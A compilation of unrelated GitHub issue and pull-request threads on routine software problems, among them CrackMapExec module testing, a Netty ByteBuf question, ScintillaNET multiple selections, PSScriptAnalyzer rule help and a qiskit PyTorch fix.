Working, thank you :)

Waiting for @Cryo2 and closing if working

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.0.1dev is working
But still can't get a reverse-shell met_inject and empire_exec
met_inject

empire_exec

after running commands
metasploit listener:

empire listener:

target system windows 2012 r2
I can successfully log in with metasploit psexec
cme can successfully do these and similar commands

I reference this problem as a new issue:
https://github.com/byt3bl33d3r/CrackMapExec/issues/357


Presage databases are missing

Add databases for supported languages. This may require additional repository in SFOS keyboard organization

Databases added, closing


Fix binding property access

This kind of access was not supported. I think I go it working.
Sample:
obj.access['thing'].thing

Maybe there is a way to use the existing bracket_expression. But I was not able to. I have never modified a treesitter grammar before.
I wanted to try it out in neovim. But there seem to be more steps involved than i though.
- ERROR angular(highlights): .../share/nvim/runtime/lua/vim/treesitter/query.lua:259:
  query: invalid node type at position 39 for language angular
  angular(highlights) is concatenated from the following files:
  | [ERROR]:".../nvim-treesitter/queries/angular/highlights.scm",
   failed to load: .../share/nvim/runtime/lua/vim/treesitter/query.lua:259:
   query: invalid node type at position 39 for language angular

What are the steps to get this working?

Thanks for your attempt to fix this. I will try it out.

Fixed by #23


Dropping point when close cut

Found that when dropping points for a cut if you drop each corner and do a double click on the last point it will drop another point like you are starting a new cut. To remove the blue line the cut needs to be turned off.

One more thing that I didn't add was you need to be in freehand mode.

notabug


How to get OAuth bearer token for Azure AD provisioning configuration for Sample code

In the step of the section ‘To register the sample SCIM endpoint in Azure AD’ mentioned to that ‘If the SCIM endpoint requires an OAuth bearer token from an issuer other than Azure AD, then copy the required OAuth bearer token into the optional Secret Token field.’. My questions here is how or where I can get the OAuth bearer token if I used sample code ‘https://github.com/Azure/AzureAD-BYOA-Provisioning-Samples/tree/master’?
I am able to successfully build and start the service by using the below command:
FileSvc.exe http://192.168.x.x:9000 TargetFile.csv
But I stuck at Azure AD provisioning app configuration with Secret Token. Do I need to do any further code updates in the sample code for OAuth token bearer? It will be more helpful if you provided any leads on this?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 45cb3eec-7693-4e22-bcde-3f85d5a4be14
Version Independent ID: 506c3302-e823-8f1e-d547-083ef0b664df
Content: Automate provisioning of apps using SCIM in Azure Active Directory
Content Source: articles/active-directory/manage-apps/use-scim-to-provision-users-and-groups.md
Service: active-directory
Sub-service: app-mgmt
GitHub Login: @msmimart
Microsoft Alias: mimart

@my-work-sivabankapalli
Thanks for your feedback! We will investigate and update as appropriate.

@my-work-sivabankapalli Thanks so much for pointing this out. The article has been updated with additional explanation from the product team. Please see the section "Handling endpoint authentication." #please-close


Is there a problem in safeDuplicate of DefaultChannelGroup.java

private static Object safeDuplicate(Object message) {
        if (message instanceof ByteBuf) {
            return ((ByteBuf) message).duplicate().retain();
        } else if (message instanceof ByteBufHolder) {
            return ((ByteBufHolder) message).duplicate().retain();
        } else {
            return ReferenceCountUtil.retain(message);
        }
    }

duplicate() -just copy its inner byte[], and will not modify reader index and write index.
So if I send a ByteBuf to many channel, everything I call duplicate() , but its readerIndex is still old.
Will there be a problem? It seems that reader index has been change by many channel write.
I think we should also reset reader index to 0 after invoke duplicate()

@kenro nope... duplicate not copy the inner byte[] but just creates another "view" on this buffer. So it's correct to call duplicate() and not modify the indexes.

thank normanmaurer ！I still confused： When a channel write a ByteBuf, it will change the ByteBuf's index. and next channel duplicate the ByteBuff,its index is the same as pre ByteBuf？  next channel write the copy ByteBuff ，should first reset the index？


Working with multiple selections at one time

How do you select multiple ranges of text and do operations on each selection?  For example, I got:
public static Scintilla SelectedTextToUpper(this Scintilla value)
        {
            foreach(var sel in value.Selections)
            {
                int start = sel.Start;
                int end = sel.End;

                Debug.Print($"{sel.ToString()}");

                value.ReplaceSelection(value.GetTextRange(start, end - start).ToUpper());

                value.SetSelection(start, end);
            }

            //int start = value.SelectionStart;
            //int end = value.SelectionEnd;

            //value.ReplaceSelection(value.GetTextRange(start, end - start).ToUpper());

            //value.SetSelection(start, end);

            return value;
        }

Before I execute this particular extension I have:

After I execute this particular extension I get:

I assume I'm missing something obvious.  I know, this control isn't supposed to conform to true .NET fashion.  But, if you can't really do anything with something.  Just make those things Private.

I'm not entirely sure what you're trying to do here, If you can give more insight. Are you trying to make all 3 of the boxes the same when you change one? If so, I would use the text changed event for each, and have it set the other 2 to the same text. So if textBox1 is changed, set textBox2 = textBox1.Text; textBox3 = textBox1.Text;. But I'm not entirely sure if I understood the problem, or the goal.

No, um, in Scintilla you can turn on "multiple selection" mode by doing MultipleSelection = true; So, in the control, I'm selecting multiple or separate lines of texts which I want to "work" on.  In the example I posted, I was trying to implement a Comment line option.  I got a partially working version here:
public struct SelectionItem
{
public int start;
public int end;
public string text;
}
static class ScintillaExtensions
{
    public static List<SelectionItem> SelectedItemList(this Scintilla value)
    {
        List<SelectionItem> SelectedItemBuffer = new List<SelectionItem>();

        for (int i = 0; i < value.Selections.Count; i++)
        {
            SelectedItemBuffer.Add(new SelectionItem()
            {
                start = value.Selections[i].Start,
                end = value.Selections[i].End,
                text = value.GetTextRange(value.Selections[i].Start, value.Selections[i].End - value.Selections[i].Start).ToUpper()
            });
        }

        return SelectedItemBuffer;
    }

    public static Scintilla Comment(this Scintilla value, bool inRemoveMarkers = false)
    {
        List<int> lineIndexes;

        Line LookupLine;

        string LineText = "";

        string GetLineText(int inIndex) => value.GetTextRange(value.Lines[inIndex].Position,
                                          (value.Lines[inIndex].EndPosition - value.Lines[inIndex].Position));

        string StripCommentMarkers(string inStripIt)
        {
            inStripIt = inStripIt.Replace("//", ""); inStripIt = inStripIt.Replace("/*", ""); inStripIt = inStripIt.Replace("*/", "");

            return inStripIt;
        }

        List<SelectionItem> CommentThem = value.SelectedItemList();

        for (int i = (CommentThem.Count - 1); i > -1; i--)
        {
            int lineIndexTemp = -1, lineIndex = -1;

            lineIndexes = new List<int>();

            for (int j = 0; j < CommentThem[i].text.Length; j++)
            {
                lineIndexTemp = value.LineFromPosition((CommentThem[i].start + j));

                if (lineIndex != lineIndexTemp)
                {
                    lineIndex = lineIndexTemp;
                    lineIndexes.Add(lineIndexTemp);
                }
            }

            if (lineIndexes.Count == 1)
            {
                if (!inRemoveMarkers)
                {
                    string Line = Regex.Replace(value.GetTextRange(value.Lines[lineIndexes[0]].Position,
                        (value.Lines[lineIndexes[0]].EndPosition - value.Lines[lineIndexes[0]].Position)),
                        "[^0-9a-zA-Z]+", "");
                    string Comment = Regex.Replace(CommentThem[i].text, "[^0-9a-zA-Z]+", "");

                    if (Comment.Length < Line.Length)
                    {
                        value.InsertText(CommentThem[i].start, "/*"); value.InsertText((CommentThem[i].end + 2), "*/");
                        lineIndexes.Clear();
                    }
                }

                if (inRemoveMarkers)
                {
                    LineText = GetLineText(lineIndexes[0]);

                    if (CommentThem[i].text.Length < LineText.Length)
                    {
                        LineText = StripCommentMarkers(LineText);
                        {
                            LookupLine = value.Lines[lineIndexes[0]];

                            value.SetSel(LookupLine.Position, LookupLine.EndPosition);
                            value.ReplaceSelection(LineText);

                            lineIndexes.Clear();
                        }
                    }
                }
            }

            for (int k = 0; k < lineIndexes.Count; k++)
            {
                if (!inRemoveMarkers) { value.InsertText(value.Lines[lineIndexes[k]].Position, "//"); }

                if (inRemoveMarkers)
                {
                    LineText = GetLineText(lineIndexes[k]);

                    LineText = StripCommentMarkers(LineText);
                    {
                        LookupLine = value.Lines[lineIndexes[k]];

                        value.SetSel(LookupLine.Position, LookupLine.EndPosition);
                        value.ReplaceSelection(LineText);
                    }
                }
            }

            for (int k = 0; k < lineIndexes.Count; k++)
            {
                LookupLine = value.Lines[lineIndexes[k]];

                //value.AddSelection(LookupLine.Position, LookupLine.EndPosition);
            }
        }

        return value;
    }
}

It's not perfect.

From: justinbittner11<EMAIL_ADDRESS>Sent: Sunday, March 10, 2019 9:23 AM
To: jacobslusser/ScintillaNET
Cc: tobeypeters; Author
Subject: Re: [jacobslusser/ScintillaNET] Working with multiple selections at one time (#436)
I'm not entirely sure what you're trying to do here, If you can give more insight. Are you trying to make all 3 of the boxes the same when you change one? If so, I would use the text changed event for each, and have it set the other 2 to the same text. So if textBox1 is changed, set textBox2 = textBox1.Text; textBox3 = textBox1.Text;. But I'm not entirely sure if I understood the problem, or the goal.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/jacobslusser/ScintillaNET/issues/436#issuecomment-471302483, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AiRv-76KhVdFmU5O14OKhdPuSZ5hAfaKks5vVQdfgaJpZM4bOGeO.


Cannot have query response pretty print when running KOPF on windows

I am accessing KOPF in a Firefox browser on a Windows box and a Windows VM yet
the query response does not pretty print even if I specify ?pretty in the request URL.
The response does pretty print when I access KOPF in Firefox on a Linux VM.

@dan-s1 I'm dropping further development for kopf, and this will be mostly updated only for compatibility issues with newer ES versions or bugs found along the way. So, unfortunately there won't be any progress on this issue.


build moar claims write error at install stage

rakudobrew reports an error during the make install phase of build moar, even though a switchable perl6 is built.

Platform: OS X 10.9.3
Host Perl5: 5.20.0

$ rakudobrew build moar
...
/Users/brian/perl5/perlbrew/perls/perl-5.20.0/bin/perl -MExtUtils::Command -e chmod 755 /Users/brian/.rakudobrew/moar-HEAD/install/bin/perl6
make: write error
Failed running make install at /Users/brian/.rakudobrew/bin/rakudobrew line 23.

However, moar-HEAD shows up in list and I can switch to it.
$ rakudobrew list
  moar-HEAD
$ rakudobrew switch moar
Switching to moar-HEAD
Updating shims
$ perl6 --version
This is perl6 version 2014.06-12-ga7b4cba built on MoarVM version 2014.06

(I'm going to assume it's not a problem anymore and close it)


[#117512347] Replace all occurrences of cf-platform-eng

What
As a part of Forked Service Broker Deployed to Production story we forked the https://github.com/cf-platform-eng repository.
Now, we want all includes to point to our fork so cf-platform-eng/rds-broker is replaced
with alphagov/paas-rds-broker
How to test
go get .
go test
go build .

Who can review
Not @combor or @timmow

Can you enable travis on this repository?

In order to avoid incidents in the future, I think it is better if we "disconnect" this repository from the cf-platform-eng one, and we add a reference in the README.
This way we won't do accidental PR to upstream and the search in github will work.

How to test:
go get github.com/alphagov/paas-rds-broker
cd $GOPATH/src/github.com/alphagov/paas-rds-broker
git checkout 117512347_rds_service_broker
go test
go build .

I asked @alext to enable travis

In order to avoid incidents in the future, I think it is better if we "disconnect" this repository

I'm not sure about this one, what are pros and cons of doing this apart from avoiding creating pull requests for the origin?

what are pros and cons of doing this apart from avoiding creating pull requests for the origin?

We won't do any accidental PR to upstream and the search in github will work.

Will merge this, to carry on reviewing the rest.

Same than: https://github.com/alphagov/paas-aws-broker-boshrelease/pull/1#issuecomment-215025733


chore: add issue template

Here is an existing PR: https://github.com/vuejs/language-tools/pull/4084
I suggest removing the zh-CN template since its functionality is similar to English's.

zh-CN is only for the convenience of Chinese users to submit questions, and is not required

Sorry, I don't see the existing PR, if you don't need to deliberately close it

Nvm let's keep them open

Thanks! I'll take a look at the form design later.


how can I get the clicked position on the timeline corresponding time?

There is no direct way now. Have to do something along the line of getting x position then revert value from the scale. You can get scale from the chart and hack it back.
const scale = chart.options().scale;
const value = scale.invert(position);

so I have to add click event to the timeline element to get the position first ， I had done it 。

Does the approach above work for you? You may have to also subtract margin.top or margin.left from position, depending on the timeline direction.

That works . thanks !

Awesome. I will close this issue then.


Update Card UI

I will say I personally much prefer the +X more tag!
I did a quick comparison with Austin's design and I noticed a few things to update:

@Austinauth please feel free to correct me if I'm wrong about anything or add in any other feedback you have

@gkulin

I will say I personally much prefer the +X more tag!
I did a quick comparison with Austin's design and I noticed a few things to update:
@Austinauth please feel free to correct me if I'm wrong about anything or add in any other feedback you have

This is great, thank you so much for red lining this out! Agree, I like the +x tag as well

Hey @hemarina going to start adding my feedback here. Things are getting really close. There are a couple adjustments I'd like to try that were not part of my initial mock-ups. Thank you for understanding!
CTA Card

Please reach out if you have any questions. We may also want to tweak the color of the text, but for now let's make these changes and see how it looks. Will follow up with feedback on the template cards tomorrow.

Template Card
Same as with the CTA Card above. I'm sure there will be some minor final adjustments we need to make after implementing these fixes. Please don't hesitate to reach out with questions. I will be out Friday thru Tuesday. No rush on my end.
Updated card design

Updated card design adjustments
Miscellaneous updates

Padding & Spacing

Copy behavior

Useful links
Here are some links you might find useful.

Fluent 2: Badge component (Tag)
Fluent 2: Tooltip component


Code not functional

Some mathematicians purists could argue that the code in not functional!
There are many animations that can (and should) be expressed as a function of 4d space+time.
Thus colors of pixels are just a samples of this function at the LED coordinate t the time of the animation c_i = f(X_i).

Hey @qt1! I agree that the lack of dimensions reflects poorly on someone with a book on the matter. It's a real crisis and something we need to resolve!
That said, Matt asked me to help with the maintenance of this repository, and I think as part of that I should probably close this one out. Sorry for being a grinch 😬
Your PR looks awesome! I'm figuring out how best to handle those and will comment on it soon.

Hey @qt1! I agree that the lack of dimensions reflects poorly on someone with a book on the matter. It's a real crisis and something we need to resolve!
That said, Matt asked me to help with the maintenance of this repository, and I think as part of that I should probably close this one out. Sorry for being a grinch 😬
Your PR looks awesome! I'm figuring out how best to handle those and will comment on it soon.

Hi @oliverdunk , I just discovered Matt's video with the code running. Thanks for your contribution!
If you need anything now or in future, I'll be happy to help.

Hi @oliverdunk , I just discovered Matt's video with the code running. Thanks for your contribution!
If you need anything now or in future, I'll be happy to help.


Added api call to chat.update

Been using this for a while to update bot messages. Would be nice if it was part of the package itself :)

Bump. I'm in the same place.  I've worked around this in my project by not implementing update message myself.  Any chance this will be merged?


ISO Converter is unable to consume multiple messages in one single request

Description:
Hi,
As the title suggests, this ISO converter does not have capability to consume multiple ISO messages that are sent in one single request, instead, it will always consume the first one. Here's the sample I can show:
1 ISO msg in 1 request:
03080200F63E440128E1A0000000000002000000165304870000000842IW02<PHONE_NUMBER>00000000000000061410034600850610033706149993061460118010222375304870000000842=230322600000045900002300        Z003    22             UAT BINTARO GN2 BASEMENBANTEN       IDID0350103ATM0301N0901Y1007NBANTEN1103DID360<PHONE_NUMBER>03061580500
Notice that the first 4 digits are header length.
multiple ISO msg in 1 request:
03080200F63E440128E1A0000000000002000000165304870000000842IW02<PHONE_NUMBER>00000000000000061410034600850610033706149993061460118010222375304870000000842=230322600000045900002300        Z003    22             UAT BINTARO GN2 BASEMENBANTEN       IDID0350103ATM0301N0901Y1007NBANTEN1103DID360<PHONE_NUMBER>0306158050002870200F63E440128E1A0000000000000000000165304870000000842IW02<PHONE_NUMBER>00000000000000061410111909878010111906142303061460110510222375304870000000842=230322600000093700008741        Z004    22             UAT BINTARO GN2 BASEMENBANTEN       IDID0350103ATM0301N0901Y1007NBANTEN1103DID360
Do you know is there any way to cater for such a case?
Suggested Labels:

Suggested Assignees:

Affected Product Version:
OS, DB, other environment details and versions:
Steps to reproduce:
Related Issues:

Moved to https://github.com/wso2/micro-integrator/issues/3519


Add headers to PDF printout pages

Note: The tool to generate the PDF is a bit flakey. Any minor changes to
the layout seem to have a major impact in the display, some even making
the PDF to fail to render.
There's some known display issues, maybe directly or indirectly related with
the addition of the headers.

👍


Manifest tagging

Just trying to understand the manifest tagging. The docs seem to be missing some info.
It seems that the manifest.tmpl this repo uses does not update the latest tag on docker hub when the repo is tagged.
It seems the tag latest is only updated during pushes to master, in which case there is no versioning, so the tags pushed are latest as well as the os-arch tags like linux-amd64 and linux-arm64. But when the repo is tagged, then only the image tags with github tags are pushed. Was that the intended behavior or an oversight?
I added latest to the tags to the tags section in the manifest.tmpl so latest is updated when the repo is tagged. Is that expected to cause any issues?
Also, the docs mention auto_tag as an option to be used in spec. Any examples of how it should be done?
Here is my test repo manifest.tmpl for reference: https://github.com/aptalca/zap2xml/blob/master/manifest.tmpl
Thanks

latest is intentinally not changed on tgas, for the plugins organization latest always matches the master branch. The auto_tag feature gets used on nearly all plugins within this organization in combination with the manifest template.


Fix small setup-gce.sh error

As we now pass any extra arguments to the Terraform deploy script it should not check for exactly 1 argument but for at least 1 argument (the project at a minimum).

PR build on incorrect parent branche!


New function: Show-RuleHelp

I have a function to submit, Show-RuleHelp, which opens the .md file of help for each rule. Before I do a PR, I want to know if you're interested in including it and, if so, how?
-- Add the script containing the function to ScriptsToProcess
-- Add the function to PSScriptAnalyzer.psm1 + FunctionsToExport in the psd1
You can see the code at https://github.com/juneb/Development/blob/master/Show-RuleHelp.ps1.

@juneb This looks like a very useful addition. I would like to propose a slightly different approach though - perhaps we can add a switch to Get-ScriptAnalyzerRule to show help instead of adding a new cmdlet? What do you think?

No, I wouldn't do it that way. The philosophy of PowerShell is small, single-feature commands. That's why we created Get-Command separate from Get-Help.
Instead, I made the Name parameter take value from pipeline, so you can pipe Get-ScriptAnalyzerRule to Get-RuleHelp. I also made sure that the parameter names/types were the same.
But, it's your module, so I'm fine with whatever you decide.

I agree with the philosophy but I don't think Get-ScriptAnalyzerRule and Get-RuleHelp are completely analogous to Get-Command and Get-Help - the scope of Get-Help is much wider than that of just showing help for commands, whereas, Get-RuleHelp would provide help only for a rule.
Would like to loop in @joeyaiello here to add more perspective, because I think adding a new cmdlet to the module warrants more discussion.

First, looks super cool, I could definitely see this being useful to people.
On to the design. I understand both points of view. Here's my thinking:

if it were to go on Get-ScriptAnalyzerRule it should probably just be a property on each rule object. However, that probably requires that the help content be readily available on disk, and regardless of whether the property was output, it'd get attached to each object.
Seeing as this function is hitting the web
The crux of this discussion should probably be around whether it's a good idea for a cmdlet to go hit the web directly. There's a few problems with that approach:. First, it's slow, goes out to the web every time, etc. Also, you'd want to hit the rule documentation for the version of PSSA installed on the box (and definitely not the latest code in development as the rule could very well have changed between versions. (And in this code, it's actually feasible that someone could ask for rule documentation for a rule that's not even installed on their machine, and get the help.)

What are everyone's thoughts on packing rule documentation with each module release?

@joeyaiello shipping rule documentation sounds like a great idea as it would prevent the issues (hitting the web and potential doc version mismatch) that you've mentioned. And if we ship the rule documentation then it is relatively straightforward to include the documentation as a property of RuleInfo object. An added advantage of this approach is that PowerShell/vscode-powershell extension can use the property to show rule documentation (#736), if a user wants to see it.

Yep, I like that approach as well.  A baked-in snapshot of the documentation will be a lot more useful to the user.

Agreed. This also solves the problem of finding online docs for custom rules.

The downside is that we need to design, implement, and test a rule documentation format, which can take a while. (I suggest that we start with something very simple like a .md template like the ones already in use.) Then, we need to find a way to install and update the rule doc files. Deja vu...


Fix declaration of Variable in GradientPenalty

Summary
In the gradient_penalty function in pytorch_discriminator of the qGAN structure, the z variable was not properly initialised.
Details and comments
In this function, the z variable was being initialised using Variable module from torch.autograd.Variable. However, in this function, only torch was imported and not torch.autograd.Variable. In this pull request, I went from z=Variable(x+delta_, requires_grad=True) to z=torch.autograd.Variable(x+delta_, requires_grad=True).

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Elie Bernard Cadok Bermot seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 1 (0.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 86.493%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

qiskit_machine_learning/algorithms/distribution_learners/qgan/pytorch_discriminator.py
0
1
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
2920

Relevant Lines:
3376

💛  - Coveralls

Thanks for noticing/fixing this. I am wondering did you encounter it during running or just saw it? Reason I am asking is that the path that would include that gradient penalty does not seem to be easy to get at. Running the qgan it calls train on the discriminator but leaves the penalty param as False with no way, that I see, to change that. Only if you call train directly on the discriminator do I believe you can make the code go down that path.

I encountered this issue when I initially wanted to add the gradient penalty to the numpy_discriminator. In order to enable it, in my personal repo, I added in the qGAN definition a penalty parameter which enables/disables the gradient penalty technique for the discriminator. However, for non-Wasserstein qGANs, the gradient penalty is not needed but can be added to fasten the convergence.

Hey @ebermot, thanks for pointing out this issue. About the use of Variable, it has actually been deprecated in favor of Tensor since PyTorch 0.4. You can check the migration guide here. I think that we could take this chance to update the code and just get rid of Variable and other outdated PyTorch syntax.
About setting the gradient penalty, I agree with @woodsp-ibm, it is currently not possible. We could maybe move the penalty flag from the discriminator train() method to __init__(), or include a set_penalty() method, so that it can be set by the user and then passed to the QGAN instance doing QGAN.set_discriminator(discriminator_with_penalty).

@ElePT I would not put too much efforts into this fix, I'm totally fine if you use Variable as the rest code does.

@ElePT I would not put too much efforts into this fix, I'm totally fine if you use Variable as the rest code does.

Ok, this makes sense, but let's keep it in mind for future PyTorch refactoring @Zoufalc .

Can we do a reno release note for this bug fix and a unit test for CI that covers this. Potentially the latter can call method(s) directly on the discriminator in order to cover this aspect.
That migration guide is now over 4 years old! In terms of the comment around Variable this is the only file I think where its used - aside from being part of the optionals.py file here in regards of checking Torch install. It all still works and presumably would work with an older Torch still if someone still has this - there is no constraint we have on Torch version - so I think I would leave this as-is for now.

Variable wrapping continues to work as before but returns an object of type torch.Tensor. This means that you don’t need the Variable wrapper everywhere in your code anymore.


[BUG][e2e] base64 tool syntax not working on Windows and some MacOS

General information

macOS and Windows

CRC version
CRC version: 2.26.0+233df0
OpenShift version: 4.13.9
Podman version: 4.4.4

The base64 tools that we have on Win11Pro and MacOS 13.0.1 do not like the standalone - in
base64 -d - > ca.crt

found in story_openshift.
The complaint:
23:39:22.163347    bash: oc config view --raw -o jsonpath="{.clusters[?(@.name=='api-crc-testing:6443')].cluster.certificate-authority-data}"| base64 -d - > ca.crt
23:39:22.169552  stderr: base64: invalid argument -

Introduced by #3741

Closed by #3841


Docs.MS Release Updates for azure-quantum-jobs

Update docs metadata and targeting for release of azure-quantum-jobs

Docs Build status updates of commit 16fdccd:
:warning: Validation status: warnings

File
Status
Preview URL
Details

docs-ref-services/preview/quantum-jobs-readme.md
:warning:Warning
View (azure-java-preview)
Details

package.json
:white_check_mark:Succeeded

docs-ref-services/preview/quantum-jobs-readme.md

Line 9, Column 16: [Warning-ms-prod-technology-invalid] Invalid value for 'ms.technology': 'azure' is not valid with 'ms.prod' value 'azure'.
Line 2, Column 1: [Suggestion-description-missing] Missing required attribute: 'description'.
Line 42, Column 178: [Suggestion-preserve-view-not-set] Did you mean to link to a specific version? It's usually better not to specify a version, so the link always goes to the canonical version. If you really need to link to a specific version, add &preserve-view=true to the URL: https://docs.microsoft.com/java/azure/jdk/?view=azure-java-stable. Otherwise, remove the view parameter.
Line 46, Column 59: [Suggestion-preserve-view-not-set] Did you mean to link to a specific version? It's usually better not to specify a version, so the link always goes to the canonical version. If you really need to link to a specific version, add &preserve-view=true to the URL: https://docs.microsoft.com/dotnet/api/azure.core.tokencredential?view=azure-dotnet. Otherwise, remove the view parameter.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Extend AnimatedSprite Class?

This may be more a question rather than a bug report.
I like to have my sprites in a separate class for each. I nonetheless couldn't manage to extend this class, is there a good way to do it?
Thank you

This may be more a question rather than a bug report.
I like to have my sprites in a separate class for each. I nonetheless couldn't manage to extend this class, is there a good way to do it?
Thank you

Here's my class for generic enemies, Enemy.lua:
import 'libraries/AnimatedSprite/AnimatedSprite.lua'

 class("Enemy").extends(AnimatedSprite)

 function Enemy:init(speed, imagetable, states, animate)
     Enemy.super.init(self, imagetable, states, animate)
         self.alive = true
     self.speed = speed
         self:setCenter(0, 0)
         self:moveTo(400, 150)
 end

 function Enemy:update()
     if (not self.alive) then
         return
     end
     local newX = self.x - self.speed
     if newX < -170 then
         self:remove()
     end
     self:moveTo(newX, self.y)
     self:updateAnimation() -- UPDATE ANIMATION
 end

New fugu enemy is created using this line:
Enemy(gameSpeed, fuguImages, fuguStates, true)

Oh thanks, of course! I was not passing all the parameters, silly me!
Thank you for your help!


Update seccomp architectures to support RISCV64

Signed-off-by: Kenta Tada<EMAIL_ADDRESS>

LGTM


x/vulndb/cmd/vulnreport: include a link to the release for GHSA reports

For example, for https://github.com/golang/vulndb/issues/829, there was no commit link in the GHSA. It would be helpful to include this link in the issue for triaging:
https://github.com/crypto-org-chain/cronos/releases/tag/v0.8.0

Is there a simple, reliable way to map from a module name and version to a useful link?
We could perhaps say that if the module name begins with github.com, we link to https://${MODULE}/releases/tag/${VERSION}, but does that link reliably exist? And in the example here, does the page https://github.com/crypto-org-chain/cronos/releases/tag/v0.8.0 really contain that much useful information?


🌱 Regularize the GH workflows for testing PRs

Summary
This PR does a bit of regularization of the GitHub workflows that test PRs, mainly establishing a regular pattern for their names.
Related issue(s)
Fixes #

/cc @effi-ofer
/cc @pdettori
/cc @waltforme
/cc @ezrasilvera

/lgtm
/approve


schema resolves case-insensitive

E.g.
http://infolis.gesis.org/infolink/schema/InfolisFile
resolves to
http://infolis.gesis.org/infolink/schema/infolisFile
which is a property not a class (not the best of design decisions to have two entities in our DM with only case different.) @Dommii @bolandka

This is too complicated to fix and is anyway not good practice IMHO. Maybe the schemo should warn of such cases on instantiation, otherwise it's in the data modeler's responsibility to properly name things.

Actually, this is a problem. Here is a list with the names currently conflicting:
{ searchquery: [ 'Execution.searchQuery', 'SearchQuery' ],
  textualreferences:
   [ 'Execution.textualReferences',
     'Entity.textualReferences',
     'SearchResult.textualReferences' ],
  name: [ 'Entity.name', 'SearchResult.name' ],
  identifier: [ 'Entity.identifier', 'SearchResult.identifier' ],
  tags:
   [ 'Entity.tags',
     'SearchResult.tags',
     'InfolisPattern.tags',
     'InfolisFile.tags' ],
  queryservice: [ 'SearchResult.queryService', 'QueryService' ],
  reliability: [ 'InfolisPattern.reliability', 'QueryService.reliability' ] }

At the moment this leads to rather bizarre problems, like only the @context appearing as the description for all instances of a property (/schema/tags) or the property appearing instead of the class in /schema/QueryService.


Seg fault error when adding plots

What's up bud? Thanks for your work first of all. I'm using PlotFS to try to create a filesystem of all of the left over space on the drives that I already have plotted. I used dd to create an empty file that fills the leftover space on each of the drives, then I add that file as a device to my PlotFS filesystem. Once all drives are added, I run "sudo plotfs --add_plot $PLOT" and it will run successfully until around about 50 or 60% then stop abruptly with no debug message except for "segmentation fault". Any ideas what I might be able to do to find out what's going on?

Segmentation fault too.
writing recovery point header
0% writing up to<PHONE_NUMBER> bytes from offset 0 to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
1% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
2% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
3% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
5% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
6% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
7% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
8% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
10% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
11% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER> to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
12% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER>0 to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
13% writing up to<PHONE_NUMBER> bytes from offset<PHONE_NUMBER>4 to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
15% writing up to 924842944 bytes from offset<PHONE_NUMBER>8 to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
16% finished writing to device<PHONE_NUMBER>38b71a7781bf6efefb6dd7345188e32693e6207204cdb71e44e0a6
Segmentation fault

debian 12 bare metal


Issue removing old cache files

I'm now on HA 0.90.2 and tried changing to the new structure (after 0.88) but I'm getting errors.  I've tried clearing out the custom_components folders but there are python cache files in there and what ever I try I can't seem to get the permissions to delete them out.
I think this is my lack of skills on the OS rather than a problem with the component itself but can anyone help with some ideas on how to clean out custom_components properly?

hi @Voz-DeCarabas thanks for reaching out but first of all I would like to mention that this specific problem it's a bit out of the scope of this project.
you should google the exact version of HA you have installed (hassio/virtualenv/etc) and search this problem which is quite common. long story short you need to login as root and you'll be able to delete the cache files just fine

Hi @peterbuga, yes as I said I didn’t think it was your code but I wondered if others had the same issue in the new version. I also thought I had tried as root but trying again and I’ve removed them. I’ll try reinstalling the new version when I can.
Thanks for responding.


chore: Add Colin as org maintainer

After a nomination and vote from current org maintainers, Colin has been added as a wasmCloud Org Maintainer and a maintainer of wash (which he has been contributing to for a while).

